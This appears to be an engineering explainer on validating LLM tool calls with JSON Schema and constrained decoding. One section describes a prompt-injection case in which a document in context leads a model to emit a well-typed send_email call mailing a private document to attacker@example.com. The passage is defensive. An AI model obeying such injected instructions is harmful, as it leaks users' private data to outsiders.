Typed Tool Calls
A tool call is a function call whose arguments came from an untrusted source, so the boundary needs a type checker. JSON Schema is that type system, constrained decoding is the technique that makes malformed calls unsamplable rather than merely detectable, and neither of them says anything about whether the call should happen.
How do I turn a model's tool call into a typed function call I can actually dispatch?
Three forms, and confusing them is the whole problem. A byte string that may or may not be JSON. A JSON value: an unstructured tree of objects, arrays, strings, numbers and booleans, with no relationship to any tool. A typed call: a tool reference plus an argument record whose every field has been checked against a declared parameter type, so the dispatcher can hand it to a typed function without a cast. The schema is the typing rule set; the validator is the type checker; the typed call is [[annotated-ast]] for one node.
A call may be dispatched only if every required parameter is present, every present value inhabits its declared type, every enum-valued field is one of the declared members, and — where the schema is closed — no undeclared field appears. Under exactly those conditions the dispatcher may treat the argument record as the tool's declared parameter type without further checking. It may not conclude anything else: that the values are the right ones, that the referenced resources exist, or that this caller may act on them. [[what-a-type-system-proves]] is the general statement, and it applies here unchanged.
Key points
- A tool call is a function call across a trust boundary, so the boundary needs a type checker; JSON Schema is a small, adequate type system for the job.
- Validate once at the dispatcher, not inside each tool, so tool bodies receive typed values and cannot drift apart.
- Close your schemas.
additionalProperties: falseturns a hallucinated extra argument into a rejection instead of a silent ignore. - Constrained decoding makes malformed output unsamplable rather than merely detectable — a strictly stronger guarantee, where the provider supports it.
- Numeric ranges and cross-field constraints usually cannot be expressed in a decoder grammar and must stay in the validator.
- A well-typed call can still be semantically wrong, target a nonexistent resource, or be unauthorized. None of those are type errors.
- Argument provenance — which context produced this value — is invisible to any schema, and that is where prompt-injection damage lives.
Type checking at a trust boundary
Inside a program, a function call's arguments have already been type-checked by the compiler; the callee is entitled to assume it. At the model boundary that assumption is gone. The arguments arrived as text from a process that has no obligation to respect any type at all, so something must re-establish the property the compiler normally establishes — and that something is [[type-checking]], running at run time, at exactly one place.
The place matters. If each tool validates its own arguments, then every tool needs the code, the checks drift apart, and a tool added in a hurry has none. If the validation happens once, at the dispatcher, then the tool bodies receive typed values and can be written as ordinary functions. This is the same argument for a single frontend that [[multiple-frontends-one-backend]] makes about compilers, run in the other direction.
The type system here is modest and that is fine. Objects, arrays, strings, numbers, booleans, enums, required fields, and some range and pattern constraints. It has no polymorphism worth the name and no inference. It is roughly the expressive power of a C struct declaration, which is exactly enough to establish the property the dispatcher needs.
1// The declared parameter type. This is the tool's signature, and it is2// also what the model is shown, so the two cannot drift.3const refundSchema = {4 type: 'object',5 required: ['order_id', 'amount_cents', 'reason'],6 additionalProperties: false, // closed: unknown fields are errors7 properties: {8 order_id: { type: 'string', pattern: '^ord_[a-z0-9]{12}$' },9 amount_cents: { type: 'integer', minimum: 1, maximum: 50_000 },10 reason: { enum: ['damaged', 'late', 'duplicate', 'other'] },11 },12} as const13 14// One place. The tool body never sees an unvalidated value.15const call = parseJson(raw) // syntax16const tool = registry.lookup(call.name) // resolution17const args = validate(call.arguments, tool.schema) // typing18const decision = policy.check(principal, tool, args) // authority19if (decision.allow) await tool.run(args) // args is typed hereFour distinct rejections, four distinct messages, four distinct owners. Notice additionalProperties: false: an open schema silently accepts fields the tool ignores, which is how a model's hallucinated override: true argument becomes invisible instead of rejected.
Constrained decoding: impossible, not merely detected
Validation detects a malformed call after it exists. Constrained decoding prevents it from existing. At each sampling step the decoder computes which tokens could continue a string that is still a prefix of something the grammar accepts, and zeroes the probability of everything else. The model cannot emit a closing brace where a value is required, because that token is not available to it.
This is the same distinction that runs through the whole domain: [[type-soundness]] is the claim that a well-typed program cannot reach a certain class of state, and it is stronger than a check that notices the state after the fact. A grammar-constrained decoder makes syntactic malformation unrepresentable in the output, which is a genuinely different guarantee from noticing it downstream.
It is also narrower than it sounds. Constrained decoding guarantees the output matches the grammar. It does not guarantee the output is *good* — a model steered token by token away from what it was going to say can produce a well-formed call with worse arguments than a model allowed to write freely and then rejected. And a schema can express "an integer between 1 and 50000" while being unable to express "the amount the customer actually paid", which is the constraint that mattered.
| call | ::= | "{" '"name"' ":" '"refund"' "," '"arguments"' ":" args "}" | The tool name is a literal, not a free string: a nonexistent tool is unsamplable. |
| args | ::= | "{" order "," amount "," reason "}" | Required fields are in the production, so an omitted field cannot be produced. |
| order | ::= | '"order_id"' ":" '"ord_' lower12 '"' | The pattern constraint becomes part of the grammar, so a malformed id cannot be sampled. |
| amount | ::= | '"amount_cents"' ":" INTEGER | The grammar bounds the shape; the range check 1..50000 stays in the validator, because most decoders cannot express numeric ranges. |
| reason | ::= | '"reason"' ":" ( '"damaged"' | '"late"' | '"duplicate"' | '"other"' ) | An enum is a choice of literals — the case constrained decoding handles best. |
| lower12 | ::= | 12 * ( "a".."z" | "0".."9" ) |
What the schema proves, and who proves the rest
The table is the honest accounting. Every row in the right-hand column is a real question that a passing schema validation does not answer, and each has a different owner. Reading a green validation as an answer to any of them is the characteristic mistake of this whole area.
The one that costs the most money is the second-to-last row. amount_cents: 2000 is a valid integer in range and it is either twenty dollars or a serious mistake depending on facts the schema has never heard of. Type systems check kinds, not values, and [[what-a-type-system-proves]] says so about compilers in exactly the same words.
| Question | Schema answers it? | Who answers it instead |
|---|---|---|
| Is this valid JSON? | No — the parser does, before the schema sees anything | The JSON parser |
| Does this tool exist? | No | The tool registry, by name resolution |
| Are all required fields present? | Yes | — |
Is amount_cents an integer? | Yes | — |
| Is it in the declared range? | Yes, if the schema declares one | — |
| Does this order id exist? | No — the pattern proves shape, not existence | The order service, at execution |
| Is this the right amount to refund? | No | Business rules, or a human |
| May this caller issue refunds at all? | No | The policy engine — [[plan-validation]] |
Where the argument came from is a separate question
A typed call carries no provenance. send_email(to: "attacker@example.com", body: <contents of the private document>) type-checks as cleanly as any other call, and every phase up to this point passes it. The problem is not the shape of the arguments but where their *content* came from — a document in the context that instructed the model to do this.
This is genuinely outside what a type system covers, and it is worth saying so rather than gesturing at more validation. The tools that address it are capability scoping (the agent has no credential that can email outside the org), taint tracking over context provenance, and human approval on the class of action — [[tool-permissions-least-privilege]] and [[human-approval]] in the neighbouring domains. Effect systems, which [[effect-systems]] covers in the type-implementation module, are the closest thing in the type-system world, and they track what a call may *do*, not where its data came from.
Stating the boundary this precisely is the useful part. A team that believes schema validation covers prompt injection will keep tightening schemas against an attack that does not violate any of them.
How it works
The steps, in the order the compiler takes them.
- Each tool declares a schema for its parameters; the same schema is rendered into the model's tool description, so the contract and the documentation cannot diverge.
- The model's output is parsed as JSON, producing an untyped value or a syntax diagnostic.
- The call's tool name is resolved against the registry — a resolution failure, not a type failure.
- The argument object is validated against that tool's schema, field by field, producing either a typed record or a list of type diagnostics with the failing path.
- Where the provider supports it, the schema is compiled into a decoding grammar so that syntactically invalid calls are never sampled; the validator still runs, because the grammar cannot express every constraint.
- The typed record is handed to the policy engine and then to the tool body, which is written against the declared parameter type with no defensive checks.
- Type diagnostics are returned as structured errors that name the failing field path, which is what makes an automated repair attempt precise rather than a re-roll.
How it breaks
What the engineer observes when it goes wrong — not what goes wrong internally.
- A hallucinated argument like
force: trueis silently ignored by an open schema, and a behaviour the model expected does not happen — with no error and no log line to explain the gap. - A field arrives as
"20"instead of20, a permissive validator coerces it, and downstream arithmetic on a string produces a wrong amount with no exception anywhere. - The tool description shown to the model drifts from the schema used to validate, so the model is being graded against a contract it was never shown; the symptom is a persistent validation failure rate that no prompt change fixes.
- Constrained decoding is enabled and quality drops on hard cases, because the model is being steered token by token away from the completion it would have chosen, and nobody connects the two changes.
- A well-typed call is dispatched to a resource that does not exist, and the failure surfaces deep inside a tool as a null dereference rather than as a rejection at the boundary.
- Validation is done inside each tool, one tool skips a check, and that tool becomes the only path an attacker needs; nothing in the architecture makes the gap visible.
When it helps
- Any tool that takes more than one argument, where positional or type confusion between two similar fields is a live risk.
- Tools with irreversible effects, where a range or enum constraint is a cheap, hard bound on the worst case.
- Large tool registries, where one validating dispatcher is the only way the checks stay consistent as tools are added.
- Systems that need to hand a precise repair message back to the model, since a typed diagnostic names the field and the expected type.
When it hurts
- Tools whose natural argument is genuinely free-form text — a summary, a message body — where a schema can only assert
type: stringand adds ceremony without adding a guarantee. - Rapidly changing tool sets, where schema-and-description drift becomes a maintenance tax unless they are generated from one source.
- Latency-sensitive paths where constrained decoding is slower than free generation, and the malformed-output rate was already low enough that generate-and-validate was cheaper in expectation.
What it costs
Every one of these is paid by something.
- A strict, closed schema buys rejection of unexpected arguments and costs task completion: a model that produces a slightly different but reasonable call is refused, and the user sees a failure where a human would have understood.
- Constrained decoding buys syntactic impossibility of malformed output and costs provider lock-in, some generation quality on hard cases, and sometimes throughput — the mask has to be computed for every step.
- Validating once at the dispatcher buys consistency and costs a coupling: every tool now depends on the dispatcher's schema dialect and its version, and upgrading it is a fleet-wide change.
- Rich schemas with patterns and ranges buy tighter bounds and cost expressiveness in the decoder — the richer the schema, the more of it cannot be compiled into a grammar and must be re-checked afterwards anyway.
What else you could do
What a different compiler or language does instead, and when that is better.
- Generate-then-validate-then-retry with no decoder constraint: portable across every provider, and it pays in latency and in a nonzero rate of unrecoverable malformed output.
- Function signatures in the host language as the source of truth, with the schema generated from them. Removes drift by construction and ties the tool contract to one language's type system — the
[[schema-first-vs-code-first]]trade in API Design, unchanged. - A typed plan language instead of per-call schemas, so arguments are checked as part of
[[agent-dsls]]rather than one call at a time. Better for multi-step review, more machinery. - Runtime-only checking inside each tool, with no boundary type check. Simplest, and it makes the guarantee a property of each tool author's diligence rather than of the system.
See it for yourself
The flag, dump or tool that shows you this directly.
- Log every validation failure with the failing JSON path and the expected type; aggregate by path. One field dominating the failures is a schema or description problem, not a model problem.
- Diff the tool description the model receives against the schema the validator uses, in a test. Drift between them is invisible in production and obvious in a diff.
- Turn
additionalProperties: falseon in a staging environment and count the rejections. Every one is an argument the model was inventing and you were silently discarding. - If constrained decoding is available, run the same eval set with and without it and compare both the malformed rate and the task success rate — the second number is the one people forget to look at.
- For the compiler analogue,
/compilers/pipelineshows AtlasLang's checker rejectinglet flag: bool = 5;with the same shape of message a schema validator produces: declared type, found type, and the span.
Plausible wrong readings
Stated the way a confident engineer states them.
- "The model supports structured output, so the arguments are validated." Structured output constrains the syntax. Whether
amount_centsis within your business limits is a check you still have to run. - "A schema is documentation." It is a contract that is enforced. If it is not the same artifact the model is shown, it is a contract one party has not read.
- "Type-checking the call makes the call safe." It makes the call well-formed. Authorization is a separate phase and semantic correctness is not a phase at all.
- "Extra fields are harmless, the tool ignores them." An ignored field is a divergence between what the model believed it requested and what happened, and it is invisible. That is worse than an error.
- "Constrained decoding is strictly better." It is strictly better at syntax and can be worse at content, because the model is being prevented from taking the path it had the most probability mass on.
Misconceptions
The claim, and what is actually true.
Go deeper
The same idea at increasing depth. Stop wherever it stops being useful.
overview
A tool call is a function call whose arguments were written by something you do not control, so check them the way a compiler checks a call: does the function exist, are all the required arguments there, is each one the right type. Declare that as a schema, validate in one place before dispatching, and close the schema so an argument you never declared is an error rather than something you silently ignore.
practical
Generate the tool description the model sees from the same schema the validator uses — drift between them is a silent, persistent failure source that no prompt change fixes. Close your schemas and watch what gets rejected; the rejected arguments are what the model believed it was asking for. When you feed a validation error back for repair, include the field path and the expected type, and cap the retries: two failures on the same field means the description is wrong, not that the model needs another try. If your provider supports constrained decoding, measure task success as well as malformed rate before turning it on globally.
advanced
The interesting frontier is what the schema cannot express, and there are two kinds. The first is expressiveness: cross-field constraints, "this field is required only when that one has this value", and any constraint that depends on state outside the call. Those can be pushed into a validator but not into a decoder grammar, so the impossibility guarantee stops at the boundary of what the grammar covers, and knowing exactly where that boundary sits for your provider is part of the design. The second is provenance, and it is not an expressiveness problem at all. No refinement of a parameter type distinguishes an argument the user asked for from an identical argument a malicious document asked for. That is a taint question, and taint needs to be tracked through the context assembly, not asserted at the call. Effect systems are the type-theoretic neighbour, and they track what a call may do rather than where its data came from — which means even the strongest type system in the vicinity solves the adjacent problem, not this one.
How much this depends on
Nothing in this domain is true of every compiler. These say how much.
[[union-types]] describes for real type systems.If you were asked this in an interview
- A model returns
{"name": "refund", "arguments": {"order_id": "ord_x", "amount_cents": "20", "force": true}}. Walk me through every check that should reject something here, and what each rejection means. - What is the difference in guarantee between validating a tool call and constraining the decoder that produced it?
- Give me three questions a passing schema validation does not answer, and say who answers each.